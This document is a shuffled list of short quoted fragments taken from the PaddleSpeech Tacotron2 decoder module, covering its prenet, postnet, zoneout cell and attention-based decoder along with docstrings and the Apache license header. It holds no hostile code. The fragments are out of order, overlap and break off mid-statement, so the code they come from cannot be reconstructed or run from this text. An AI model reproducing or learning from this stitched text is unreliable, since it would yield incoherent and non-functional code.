"def forward(self, x): \"\"\"Calculate forward propagation. Parameters ---------- x :", "next_hidden = self.cell(inputs, hidden) next_hidden = self._zoneout(hidden, next_hidden, self.zoneout_rate) #", "The number of postnet filter channels. output_activation_fn : nn.Layer, optional", "outputs. att nn.Layer Instance of attention class. dlayers int, optional", "Tmax). Returns ---------- Tensor Batch of padded output tensor. (B,", "// 2, bias_attr=False, ), nn.Dropout(dropout_rate), )) def forward(self, xs): \"\"\"Calculate", "rate. reduction_factor : int, optional Reduction factor. \"\"\" super().__init__() #", ": int Dimension of the outputs. att nn.Layer Instance of", "* prob) return mask * h + (1 - mask)", "sequence outs, logits, att_ws = [], [], [] for y", "of characters. Parameters ---------- h : Tensor Input sequence of", "for i in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i -", "network. This is a module of Postnet in Spectrogram prediction", "the Apache License, Version 2.0 (the \"License\"); # you may", "stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(),", "updated index idx += self.reduction_factor # decoder calculation if self.use_att_extra_inputs:", "att_w # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) return", "__init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone out cell module. Parameters ----------", "(B, Lmax, odim). Tensor Batch of output tensors before postnet", "The number of postnet layers. postnet_filts : int, optional The", "hidden states (B, hidden_size). - Tensor: Batch of next cell", "# loop for an output sequence idx = 0 outs,", "hidden states of decoder c_list = [self._zero_state(hs)] z_list = [self._zero_state(hs)]", "input is 10, the maximum length of outputs will be", "check attention type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True else:", "self.postnet is not None: # (B, odim, Lmax) after_outs =", "return mask * h + (1 - mask) * next_h", "- Tensor: Batch of next cell states (B, hidden_size). \"\"\"", "= paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws, axis=0) break if self.output_activation_fn", "normalization. use_concate : bool, optional Whether to concatenate encoder embedding", "else: self.use_att_extra_inputs = False # define lstm network prenet_units =", "Tensor Batch of padded output tensor. (B, odim, Tmax). \"\"\"", "isinstance(prob, tuple): prob = tuple([prob] * num_h) return tuple( [self._zoneout(h[i],", "if use_att_constraint: last_attended_idx = int(att_w.argmax()) # check whether to finish", "of postnet layers. postnet_filts : int, optional The number of", "self.postnet(outs) # (L, odim) outs = outs.transpose([0, 2, 1]).squeeze(0) probs", "Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. The Postnet", "---------- hs : Tensor Batch of the sequences of padded", "self, idim, odim, att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512,", "# thin out frames (B, Lmax, odim) -> (B, Lmax/r,", "to learn diagonal attentions. Notes ---------- This module alway applies", "[self._zoneout(h[i], next_h[i], prob[i]) for i in range(num_h)]) if self.training: mask", "characters. Parameters ---------- h : Tensor Input sequence of encoder", "import six from paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA", "self.zoneout_rate) # to have the same output format with LSTMCell", "= prev_att_w + att_w # Note: error when use +=", "described in `Natural TTS Synthesis by Conditioning WaveNet on Mel", "= 100. use_att_constraint : bool Whether to apply attention constraint", "def calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate all of the attention", "- 1::self.reduction_factor] # length list should be list of int", "channels. use_batch_norm : bool, optional Whether to use batch normalization..", "n_chans if n_layers != 1 else odim if use_batch_norm: self.postnet.append(", "inputs : Tensor Batch of input tensor (B, input_size). hidden", "dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet module. Parameters ---------- idim :", "Spectrogram Predictions`_. The Prenet preforms nonlinear conversion of inputs before", "of features (L, odim). Tensor Output sequence of stop probabilities", "features from the sequence of the hidden states. .. _`Natural", "under the License is distributed on an \"AS IS\" BASIS,", "cell, zoneout_rate=0.1): \"\"\"Initialize zone out cell module. Parameters ---------- cell", "of encoder hidden states (T, C). threshold : float, optional", "引入了随机, tacotron2 的 dropout 是不能去掉的 x = F.dropout(self.prenet[i](x)) return x", "the minimum length of outputs will be 10 * 1", "= idim self.odim = odim self.att = att self.output_activation_fn =", "h : Tensor Input sequence of encoder hidden states (T,", "prediction network in Tacotron2, which described in `Natural TTS Synthesis", "Threshold to stop generation. minlenratio : float, optional Minimum length", "Batch of output tensors before postnet (B, Lmax, odim). Tensor", "int hlens = list(map(int, hlens)) # initialize hidden states of", "of LSTMCell in paddle _, next_hidden = self.lstm[0](xs, (z_list[0], c_list[0]))", "normalization.. dropout_rate : float, optional Dropout rate.. \"\"\" super().__init__() self.postnet", "self.reduction_factor = reduction_factor # check attention type if isinstance(self.att, AttForwardTA):", "Tensor Batch of output tensors after postnet (B, Lmax, odim).", "from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module for decoder", "Spectrogram prediction network. This is a module of Postnet in", "i in range(num_h)]) if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob)", "hlens, z_list[0], prev_att_w, prev_out) else: att_c, att_w = self.att(hs, hlens,", "size in attention constraint. forward_window : int Forward window size", "prob * h + (1 - prob) * next_h class", "optional Whether to use batch normalization. use_concate : bool, optional", "Tensor Batch of output tensors (B, ..., odim). \"\"\" for", "lstm layers. dunits : int, optional The number of decoder", "Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim, n_layers=2, n_units=256,", "to cumulate previous attention weight. use_batch_norm : bool, optional Whether", "idx < minlen: continue # (1, odim, L) outs =", "y if self.cumulate_att_w and prev_att_w is not None: # Note:", "ichans = odim if layer == 0 else n_chans ochans", "code is modified from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm =", ": float, optional Zoneout rate. reduction_factor : int, optional Reduction", "to auto-regressive lstm, which helps to learn diagonal attentions. Notes", "odim if layer == 0 else n_chans ochans = odim", "the attention weights. Parameters ---------- hs : Tensor Batch of", "hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws +=", "self.postnet = Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate,", "forward(self, x): \"\"\"Calculate forward propagation. Parameters ---------- x : Tensor", "= nn.LayerList() for layer in six.moves.range(n_layers - 1): ichans =", "Backward window size in attention constraint. forward_window : int Forward", "use_concate : bool, optional Whether to concatenate encoder embedding with", "self.cumulate_att_w and prev_att_w is not None: prev_att_w = prev_att_w +", "hlens = list(map(int, hlens)) # initialize hidden states of decoder", "paddle.concat(att_ws, axis=0) break if self.output_activation_fn is not None: outs =", "on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim,", "3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup assert len(paddle.shape(h)) == 2 hs", "idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm, dropout_rate=dropout_rate, ) else: self.postnet", "prediction network. This is a module of decoder of Spectrogram", "performed in auto-regressive manner. .. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\"", "maxlen = int(paddle.shape(h)[0] * maxlenratio) minlen = int(paddle.shape(h)[0] * minlenratio)", "---------- This computation is performed in teacher-forcing manner. \"\"\" #", "six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out =", "= y if self.cumulate_att_w and prev_att_w is not None: #", "32) >>> lstm = ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing RNNs", "of prenet units. postnet_layers : int, optional The number of", "stop prediction (B, Lmax). Tensor Batch of attention weights (B,", "Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim,", "2, 1]).squeeze(0) probs = paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws, axis=0)", "format with LSTMCell in paddle return next_hidden[0], next_hidden def _zoneout(self,", "ANY KIND, either express or implied. # See the License", "= len(h) if not isinstance(prob, tuple): prob = tuple([prob] *", "sequence of features (L, odim). Tensor Output sequence of stop", "-1]) ] logits += [self.prob_out(zcs)] att_ws += [att_w] # teacher", "the License. # You may obtain a copy of the", "backward_window : int Backward window size in attention constraint. forward_window", "zoneout_rate if zoneout_rate > 1.0 or zoneout_rate < 0.0: raise", "before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet is not None: #", "# See the License for the specific language governing permissions", "size. postnet_chans : int, optional The number of postnet filter", "prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True, use_concate=True, dropout_rate=0.5, zoneout_rate=0.1,", "= self.output_activation_fn(after_outs) return after_outs, before_outs, logits, att_ws def inference( self,", "= int(att_w.argmax()) # check whether to finish generation if sum(paddle.cast(probs[-1]", "Minimum length ratio. If set to 10 and the length", "return next_hidden[0], next_hidden def _zoneout(self, h, next_h, prob): # apply", "mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask * h +", "= 0 outs, att_ws, probs = [], [], [] while", ".. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup assert len(paddle.shape(h))", "sequence of stop probabilities (L,). Tensor Attention weights (L, T).", "self.att.reset() # loop for an output sequence outs, logits, att_ws", "(T, C). threshold : float, optional Threshold to stop generation.", "modules.\"\"\" import paddle import paddle.nn.functional as F import six from", "if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask *", "idim). hlens : Tensor(int64) Batch of lengths of each input", "int, optional The number of postnet filter channels. output_activation_fn :", "[att_w] prenet_out = self.prenet( prev_out) if self.prenet is not None", "0, 2]): if self.use_att_extra_inputs: att_c, att_w = self.att(hs, hlens, z_list[0],", "= zoneout_rate if zoneout_rate > 1.0 or zoneout_rate < 0.0:", "helps to compensate the detail sturcture of spectrogram. .. _`Natural", "odim if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1,", "None # define postnet if postnet_layers > 0: self.postnet =", "Spectrogram prediction network, which described in `Natural TTS Synthesis by", "odim, Tmax). \"\"\" for i in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs)", "z_list[0], prev_att_w) att_ws += [att_w] prenet_out = self.prenet( prev_out) if", ": Tensor Batch of the sequences of padded target features", "attention type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True else: self.use_att_extra_inputs", "Licensed under the Apache License, Version 2.0 (the \"License\"); #", "features (B, Lmax, odim). Returns ---------- numpy.ndarray Batch of attention", "self.output_activation_fn = output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate = use_concate self.reduction_factor", "for i in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return xs class", "Tacotron2 decoder module. Parameters ---------- idim : int Dimension of", "prenet_units if prenet_layers != 0 else odim self.lstm = nn.LayerList()", "1]).squeeze(0) probs = paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws, axis=0) break", "writing, software # distributed under the License is distributed on", "prenet_layers != 0 else odim self.lstm = nn.LayerList() for layer", "(B, idim, Tmax). Returns ---------- Tensor Batch of padded output", "diagonal attentions. Notes ---------- This module alway applies dropout even", "number of prenet units. postnet_layers : int, optional The number", "axis=1) # we only use the second output of LSTMCell", "'int64')) > 0 or idx >= maxlen: # check mininum", "odim, Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet", "for i in six.moves.range(1, len(self.lstm)): # we only use the", "0.0 to 1.0.\") def forward(self, inputs, hidden): \"\"\"Calculate forward propagation.", "spectrogram. .. _`Natural TTS Synthesis by Conditioning WaveNet on Mel", "forward propagation. Parameters ---------- xs : Tensor Batch of the", "else n_chans if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts,", "prenet_units : int, optional The number of prenet units. postnet_layers", "sequences of padded target features (B, Lmax, odim). Returns ----------", "True: # updated index idx += self.reduction_factor # decoder calculation", "(B, hidden_size). tuple: - Tensor: Batch of next hidden states", "= self.lstm[i](z_list[i - 1], (z_list[i], c_list[i])) z_list[i], c_list[i] = next_hidden", "and the length of input is 10, the maximum length", "self.use_concate = use_concate self.reduction_factor = reduction_factor # check attention type", "# (L, odim) outs = outs.transpose([0, 2, 1]).squeeze(0) probs =", "reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor) # initialize # self.apply(decoder_init)", "hlens)) # initialize hidden states of decoder c_list = [self._zero_state(hs)]", "output tensor. (B, odim, Tmax). \"\"\" for i in six.moves.range(len(self.postnet)):", "1::self.reduction_factor] # length list should be list of int #", "\"\"\"Calculate forward propagation. Parameters ---------- inputs : Tensor Batch of", "Lmax, odim) after_outs = after_outs.transpose([0, 2, 1]) logits = logits", "if sum(paddle.cast(probs[-1] >= threshold, 'int64')) > 0 or idx >=", "or zoneout_rate < 0.0: raise ValueError( \"zoneout probability must be", "= list(map(int, hlens)) # initialize hidden states of decoder c_list", "self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask * h", "(B, odim, Lmax) before_outs = paddle.concat(outs, axis=2) # (B, Lmax,", "= paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return mask * h + (1", "index idx += self.reduction_factor # decoder calculation if self.use_att_extra_inputs: att_c,", "att_ws = paddle.concat(att_ws, axis=0) break if self.output_activation_fn is not None:", "else: after_outs = before_outs # (B, Lmax, odim) before_outs =", "dropout_rate : float, optional Dropout rate. zoneout_rate : float, optional", "Lmax, Tmax). Note ---------- This computation is performed in teacher-forcing", "paddle.concat(outs, axis=2) # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1)", ": int Dimension of the outputs. n_layers : int, optional", "decoder related modules.\"\"\" import paddle import paddle.nn.functional as F import", "\"\"\"Decoder module of Spectrogram prediction network. This is a module", "six from paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class", "Preserving Hidden Activations`_. This code is modified from `eladhoffer/seq2seq.pytorch`_. Examples", "\"\"\" # setup assert len(paddle.shape(h)) == 2 hs = h.unsqueeze(0)", "None: before_outs = self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return after_outs, before_outs,", "of output tensors (B, ..., odim). \"\"\" for i in", "+= else: prev_att_w = att_w # (B, Lmax) logits =", "define lstm network prenet_units = prenet_units if prenet_layers != 0", "< 0.0: raise ValueError( \"zoneout probability must be in the", "The number of prenet units. postnet_layers : int, optional The", "Hidden Activations`_. This code is modified from `eladhoffer/seq2seq.pytorch`_. Examples ----------", "sequence of features from the sequence of the hidden states.", "of decoder c_list = [self._zero_state(hs)] z_list = [self._zero_state(hs)] for _", "be 10 * 1 = 10. minlenratio : float, optional", "e.g. `paddle.nn.LSTMCell`. zoneout_rate : float, optional Probability of zoneout from", "= tuple([prob] * num_h) return tuple( [self._zoneout(h[i], next_h[i], prob[i]) for", "+= [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim]) #", "output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate = use_concate self.reduction_factor = reduction_factor", "to use batch normalization. use_concate : bool, optional Whether to", "\"\"\" super().__init__() # store the hyperparameters self.idim = idim self.odim", "is not None: before_outs = self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return", "the maximum length of outputs will be 10 * 10", "\"\"\" super().__init__() self.cell = cell self.hidden_size = cell.hidden_size self.zoneout_rate =", "sequence of encoder hidden states (T, C). threshold : float,", "= self._zoneout(hidden, next_hidden, self.zoneout_rate) # to have the same output", "module of Prenet in the decoder of Spectrogram prediction network,", "self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts - 1)", "This code is modified from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm", "else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans, n_filts, stride=1, padding=(n_filts -", "Conditioning WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self,", "), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans,", "setup assert len(paddle.shape(h)) == 2 hs = h.unsqueeze(0) ilens =", "> 0.0: lstm = ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define prenet", "len(self.lstm)): c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0],", "output sequence att_ws = [] for y in ys.transpose([1, 0,", ": Tensor Batch of the sequences of padded hidden states", "= odim self.att = att self.output_activation_fn = output_activation_fn self.cumulate_att_w =", "idx >= maxlen: # check mininum length if idx <", "(B, hidden_size). Returns ---------- Tensor Batch of next hidden states", "of prenet layers. n_units : int, optional The number of", "encoder hidden states (T, C). threshold : float, optional Threshold", "list should be list of int hlens = list(map(int, hlens))", "= outs.transpose([0, 2, 1]).squeeze(0) probs = paddle.concat(probs, axis=0) att_ws =", "_ in six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)]", "z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws += [att_w] prenet_out", "odim). Returns ---------- Tensor Batch of output tensors after postnet", "# limitations under the License. # Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2", "range from 0.0 to 1.0.\") def forward(self, inputs, hidden): \"\"\"Calculate", "Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, n_layers=5, n_chans=512,", "should be list of int # hlens = list(map(int, hlens))", "is not None else prev_out xs = paddle.concat([att_c, prenet_out], axis=1)", "= prenet_units if prenet_layers != 0 else odim self.lstm =", "+ (1 - mask) * next_h else: return prob *", "att_ws def calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate all of the", "Batch of output tensors after postnet (B, Lmax, odim). Tensor", "= self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0] = next_hidden for i", "constraint. forward_window : int Forward window size in attention constraint.", "len(paddle.shape(h)) == 2 hs = h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen", "of prenet units. \"\"\" super().__init__() self.dropout_rate = dropout_rate self.prenet =", "= 10. minlenratio : float, optional Minimum length ratio. If", "dunits lstm = nn.LSTMCell(iunits, dunits) if zoneout_rate > 0.0: lstm", "Tensor Batch of attention weights (B, Lmax, Tmax). Note ----------", "WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or", "att_c], axis=1) if self.use_concate else z_list[-1]) # [(1, odim, r),", "the length of input is 10, the minimum length of", "forward_window=forward_window, ) att_ws += [att_w] prenet_out = self.prenet( prev_out) if", "nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts - 1) // 2,", "n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet module. Parameters ---------- idim", "for an output sequence outs, logits, att_ws = [], [],", "# (B, Lmax, odim) before_outs = before_outs.transpose([0, 2, 1]) #", "last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws += [att_w] prenet_out = self.prenet(", "maxlen: # check mininum length if idx < minlen: continue", "initial cell states (B, hidden_size). Returns ---------- Tensor Batch of", "# (B, Lmax, odim) after_outs = after_outs.transpose([0, 2, 1]) logits", "# # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law", "odim). Returns ---------- numpy.ndarray Batch of attention weights (B, Lmax,", "self.output_activation_fn( outs[-1][:, :, -1]) # (1, odim) else: prev_out =", "(z_list[i], c_list[i])) # teacher forcing prev_out = y if self.cumulate_att_w", "# check whether to finish generation if sum(paddle.cast(probs[-1] >= threshold,", "minlen: continue # (1, odim, L) outs = paddle.concat(outs, axis=2)", "1 else n_chans if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, ochans,", "prev_out = paddle.zeros([1, self.odim]) # initialize attention prev_att_w = None", "idim, Tmax). Returns ---------- Tensor Batch of padded output tensor.", "# we only use the second output of LSTMCell in", "# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express", "optional Threshold to stop generation. minlenratio : float, optional Minimum", "bool, optional Whether to cumulate previous attention weight. use_batch_norm :", "Parameters ---------- h : Tensor Input sequence of encoder hidden", "Activation function for outputs. cumulate_att_w : bool, optional Whether to", "https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, n_layers=5, n_chans=512, n_filts=5,", "prev_out xs = paddle.concat([att_c, prenet_out], axis=1) # we only use", "c_list[i])) # teacher forcing prev_out = y if self.cumulate_att_w and", "length of input is 10, the maximum length of outputs", "def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone out cell module. Parameters", "number of postnet filter channels. output_activation_fn : nn.Layer, optional Activation", "Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # #", "nn.LayerList() for layer in six.moves.range(n_layers): n_inputs = idim if layer", "of layers. n_filts : int, optional The number of filter", "(B, odim, Tmax). \"\"\" for i in six.moves.range(len(self.postnet)): xs =", "mask) * next_h else: return prob * h + (1", "Conditioning WaveNet on Mel Spectrogram Predictions`_. The Prenet preforms nonlinear", "minlenratio : float, optional Minimum length ratio. If set to", "module. Parameters ---------- cell : nn.Layer: Paddle recurrent cell module", "= self.output_activation_fn( outs[-1][:, :, -1]) # (1, odim) else: prev_out", "if idx < minlen: continue # (1, odim, L) outs", "http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed", "learn diagonal attentions. Notes ---------- This module alway applies dropout", "of features given the sequences of characters. Parameters ---------- h", "ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing RNNs by Randomly Preserving Hidden", "x): \"\"\"Calculate forward propagation. Parameters ---------- x : Tensor Batch", ": float, optional Minimum length ratio. If set to 1.0", "prev_att_w + att_w # Note: error when use += else:", "odim). \"\"\" for i in six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2", "Tensor Input sequence of encoder hidden states (T, C). threshold", "list of int # hlens = list(map(int, hlens)) # initialize", "not None: outs = self.output_activation_fn(outs) return outs, probs, att_ws def", "window size in attention constraint. forward_window : int Forward window", "Rights Reserved. # # Licensed under the Apache License, Version", "specific language governing permissions and # limitations under the License.", "must be in the range from 0.0 to 1.0.\") def", "att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True,", "(B, Lmax, Tmax) att_ws = paddle.stack(att_ws, axis=1) if self.reduction_factor >", "): \"\"\"Initialize Tacotron2 decoder module. Parameters ---------- idim : int", "is not None: prev_att_w = prev_att_w + att_w # Note:", "Parameters ---------- inputs : Tensor Batch of input tensor (B,", "Forward window size in attention constraint. Returns ---------- Tensor Output", "= dropout_rate self.prenet = nn.LayerList() for layer in six.moves.range(n_layers): n_inputs", "# initialize attention prev_att_w = None self.att.reset() # loop for", "hs, ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else:", "self.lstm[0].hidden_size]) return init_hs def forward(self, hs, hlens, ys): \"\"\"Calculate forward", "None self.att.reset() # loop for an output sequence outs, logits,", "odim * reduction_factor, bias_attr=False) self.prob_out = nn.Linear(iunits, reduction_factor) # initialize", "logits += [self.prob_out(zcs)] att_ws += [att_w] # teacher forcing prev_out", "of outputs will be 10 * 1 = 10. minlenratio", "if not isinstance(prob, tuple): prob = tuple([prob] * num_h) return", "Postnet predicts refines the predicted Mel-filterbank of the decoder, which", "from 0.0 to 1.0.\") def forward(self, inputs, hidden): \"\"\"Calculate forward", "from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\" import paddle import paddle.nn.functional", "padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(ochans), nn.Tanh(), nn.Dropout(dropout_rate),", "nn.Layer, optional Activation function for outputs. cumulate_att_w : bool, optional", "if prenet_layers != 0 else odim self.lstm = nn.LayerList() for", "# you may not use this file except in compliance", "forward propagation. Parameters ---------- x : Tensor Batch of input", "= prev_att_w + att_w else: prev_att_w = att_w # (B,", "in range(num_h)]) if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)]) * prob) return", "of next hidden states (B, hidden_size). tuple: - Tensor: Batch", "the sequence of features given the sequences of characters. Parameters", "0.0 to 1.0. \"\"\" super().__init__() self.cell = cell self.hidden_size =", "1) // 2, bias_attr=False, ), nn.Dropout(dropout_rate), )) def forward(self, xs):", "1 = 10. minlenratio : float, optional Minimum length ratio.", "iunits = idim + prenet_units if layer == 0 else", "layer in six.moves.range(n_layers - 1): ichans = odim if layer", ": int, optional The number of postnet layers. postnet_filts :", "dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None, cumulate_att_w=True, use_batch_norm=True,", "nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts,", "1.0.\") def forward(self, inputs, hidden): \"\"\"Calculate forward propagation. Parameters ----------", "1): ichans = odim if layer == 0 else n_chans", "use_batch_norm=True, ): \"\"\"Initialize postnet module. Parameters ---------- idim : int", "obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0", "in attention constraint. Returns ---------- Tensor Output sequence of features", "decoder, which helps to compensate the detail sturcture of spectrogram.", "---------- inputs : Tensor Batch of input tensor (B, input_size).", "z_list += [self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention", "set to 10 and the length of input is 10,", "optional The number of postnet filter size. postnet_chans : int,", "initialize hidden states of decoder c_list = [self._zero_state(hs)] z_list =", "stop generation. minlenratio : float, optional Minimum length ratio. If", "input to auto-regressive lstm, which helps to learn diagonal attentions.", "optional The number of layers. n_filts : int, optional The", "(B, Lmax, odim) before_outs = before_outs.transpose([0, 2, 1]) # (B,", "(1, odim) if self.cumulate_att_w and prev_att_w is not None: prev_att_w", "should be list of int hlens = list(map(int, hlens)) #", "Instance of attention class. dlayers int, optional The number of", "RNNs by Randomly Preserving Hidden Activations`_. This code is modified", "under the Apache License, Version 2.0 (the \"License\"); # you", "in teacher-forcing manner. \"\"\" # thin out frames (B, Lmax,", "initialize attention prev_att_w = None self.att.reset() # loop for an", "in paddle _, next_hidden = self.lstm[i](z_list[i - 1], (z_list[i], c_list[i]))", "nonlinear conversion of inputs before input to auto-regressive lstm, which", "self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self, x): \"\"\"Calculate forward propagation.", "i in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i - 1],", "if self.cumulate_att_w and prev_att_w is not None: # Note: error", "zoneout_rate=0.1): \"\"\"Initialize zone out cell module. Parameters ---------- cell :", "= cell.hidden_size self.zoneout_rate = zoneout_rate if zoneout_rate > 1.0 or", "= h.unsqueeze(0) ilens = paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] * maxlenratio)", "refines the predicted Mel-filterbank of the decoder, which helps to", "decoder generates the sequence of features from the sequence of", "before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet is not", "import paddle import paddle.nn.functional as F import six from paddle", ": float, optional Dropout rate. zoneout_rate : float, optional Zoneout", "else: last_attended_idx = None # loop for an output sequence", "padded hidden states (B, Tmax, idim). hlens : Tensor(int64) padded", "probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not None: prev_out =", "n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet = None # define", "if self.reduction_factor > 1: # (B, odim, Lmax) before_outs =", "logits of stop prediction (B, Lmax). Tensor Batch of attention", "Batch of padded output tensor. (B, odim, Tmax). \"\"\" for", "an output sequence att_ws = [] for y in ys.transpose([1,", "applies dropout even in evaluation. See the detail in `Natural", "int, optional The number of layers. n_filts : int, optional", "the predicted Mel-filterbank of the decoder, which helps to compensate", "an \"AS IS\" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF", "as F import six from paddle import nn from paddlespeech.t2s.modules.tacotron2.attentions", "tensors (B, ..., odim). \"\"\" for i in six.moves.range(len(self.prenet)): #", "int, optional The number of filter channels. use_batch_norm : bool,", "output of LSTMCell in paddle _, next_hidden = self.lstm[0](xs, (z_list[0],", "after_outs = before_outs # (B, Lmax, odim) before_outs = before_outs.transpose([0,", "self.cumulate_att_w and prev_att_w is not None: # Note: error when", "inputs, hidden): \"\"\"Calculate forward propagation. Parameters ---------- inputs : Tensor", "auto-regressive manner. .. _`Deep Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup", "hidden_size). - Tensor: Batch of initial cell states (B, hidden_size).", "Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize", "the decoder, which helps to compensate the detail sturcture of", "constraint introduced in `Deep Voice 3`_. backward_window : int Backward", "self.postnet = nn.LayerList() for layer in six.moves.range(n_layers - 1): ichans", "self.use_att_extra_inputs = False # define lstm network prenet_units = prenet_units", "of filter channels. use_batch_norm : bool, optional Whether to use", "2, 1]) logits = logits # apply activation function for", "import paddle.nn.functional as F import six from paddle import nn", "layer in six.moves.range(dlayers): iunits = idim + prenet_units if layer", ": float, optional Dropout rate.. \"\"\" super().__init__() self.postnet = nn.LayerList()", "attention weights 